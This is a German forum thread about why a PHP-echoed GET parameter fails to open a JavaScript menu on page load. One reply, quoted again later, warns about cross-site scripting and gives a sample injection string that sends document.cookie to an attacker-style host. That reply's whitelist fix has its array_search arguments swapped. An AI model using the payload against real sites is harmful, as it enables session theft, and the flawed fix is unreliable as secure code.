Ankündigung

Einklappen
Keine Ankündigung bisher.

Eine Javafunktion beim aufrufen starten....

Einklappen

Neue Werbung 2019

Einklappen
X
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • Eine Javafunktion beim aufrufen starten....

    Hallo,

    es geht um folgendes: www.zocko.de/menuetest.php

    Das Menü läuft ja richtig, aber ich möchte gern eines der Menüs aufgeklappt haben, wenn ich die Page aufrufe.

    Als Test habe ich mir jetzt mal eine Get-Funktion reingemacht, also es wird per get überliefert entweder smenu1,smenu2,smenu3 oder smenu4!

    Jetzt möchte ich eben das gewählte Menü beim Aufrufen der Page öffnen. Deswegen hab ich folgendes in den body eingebaut:

    <body onload="show(<?php echo "$_GET['menue']"; ?>);">

    Aber trotzdem wird das Menü beim aufrufen nicht geöffnet. Ich hab auch schon versucht mit '' in der Klammer, etc. alles versucht.

    Habt ihr ne Idee?

  • #2
    Hallo,
    schön dass du dich dauernd vorneweg fachlich disqualifizierst, wenn du Java mit JavaScript verwechselst. Tu das nicht!

    http://de.wikipedia.org/wiki/JavaScript
    JavaScript wurde ursprünglich von Sun Microsystems und Netscape in Kooperation entwickelt. Trotz des ähnlichen Namens und einer ähnlichen Syntax ist JavaScript grundlegend verschieden von der Programmiersprache Java, die von Sun Microsystems stammt. Die Namensgleichheit erklärt sich wohl vor allem aus Marketinggründen und den seinerzeits angeblich sehr populären Java-Applets. Die Syntax wurde auch aus diesem Grund weitgehend der von Java angeglichen.
    Das ist in etwa wie wenn du Ballack mit Becker verwechselst, fangen ja beide immerhin mit B an und Sport is ja Sport.


    Zur Frage:
    Du musst zunächst einmal korrekten PHP-Code erzeugen, das tust du schonmal nicht.
    echo "$_GET['menue']" wird vermutlich einen Notice werfen (den du nicht siehst, da er im HTML untergeht).
    Entweder schreibst du
    PHP-Code:
    <?php
    echo $_GET['menue'];
    // oder
    echo "{$_GET['menue']}";
    ?>
    Wozu aber die Anführungszeichen? Nimm Variante 1.


    Kommen wir zum nächsten Problem.
    PHP-Code:
    <body onload="show(<?php echo $_GET['menue']; ?>);">
    Was käme dabei heraus?
    Code:
    <body onload="show(smenu1);">
    Ist das ein gültiger JavaScript-Code? Nein,
    Code:
    <body onload="show('<?php echo $_GET['menue'] ?>');">
    Nächstes Problem: Was machst du, wenn nichts übergeben wurde? Was machst du, wenn ein Angreifer
    Code:
    );location.href='http://cookies-klauen.com/?'+document.cookie;//
    übergibt (während magic_quotes deaktiviert ist) und den Link irgendwo bei dir auf der Seite postet?
    http://de.wikipedia.org/wiki/Cross-Site_Scripting


    Du musst also prüfen, was übergeben wurde.
    PHP-Code:
    <?php
    $menus 
    = array('smenu1''smenu2''smenu3''smenu4');
    $index = (int)array_search($menus, @$_GET['menue']); // absichtliches umwandeln von FALSE in 0 zwecks default
    echo $menus[$index];
    ?>

    Kommentar


    • #3
      Zitat von Zergling
      Zur Frage:
      Du musst zunächst einmal korrekten PHP-Code erzeugen, das tust du schonmal nicht.
      echo "$_GET['menue']" wird vermutlich einen Notice werfen (den du nicht siehst, da er im HTML untergeht).
      Entweder schreibst du
      PHP-Code:
      <?php
      echo $_GET['menue'];
      // oder
      echo "{$_GET['menue']}";
      ?>
      Wozu aber die Anführungszeichen? Nimm Variante 1.


      Kommen wir zum nächsten Problem.
      PHP-Code:
      <body onload="show(<?php echo $_GET['menue']; ?>);">
      Was käme dabei heraus?
      Code:
      <body onload="show(smenu1);">
      Ist das ein gültiger JavaScript-Code? Nein,
      Code:
      <body onload="show('<?php echo $_GET['menue'] ?>');">
      Nächstes Problem: Was machst du, wenn nichts übergeben wurde? Was machst du, wenn ein Angreifer
      Code:
      );location.href='http://cookies-klauen.com/?'+document.cookie;//
      übergibt (während magic_quotes deaktiviert ist) und den Link irgendwo bei dir auf der Seite postet?
      http://de.wikipedia.org/wiki/Cross-Site_Scripting


      Du musst also prüfen, was übergeben wurde.
      PHP-Code:
      <?php
      $menus 
      = array('smenu1''smenu2''smenu3''smenu4');
      $index = (int)array_search($menus, @$_GET['menue']); // absichtliches umwandeln von FALSE in 0 zwecks default
      echo $menus[$index];
      ?>

      Hi,

      also folgendes: Das mit dem Get ist jetzt erstmal nur für Testzwecke....später wird das ne Variable sein, die von meinem System übergeben wird und deswegen sind auch keine großen überprüfungen nötig.
      Ich hab deine Variante im body mal probiert und das kommt bei raus:

      http://www.zocko.de/menuetest.php?menue=smenu1

      Nicht, ist genauso wie vorher.

      Kommentar


      • #4
        Sehe auf Anhieb keinen Fehler, einfach hinter jede Zeile ein alert(variable_die_mich_interessiert) setzen und schauen was drinsteht, denn offenbar stimmen deine Bedingungen nicht.
        Welche kann ich nicht erkennen.

        Kommentar

        Lädt...
        X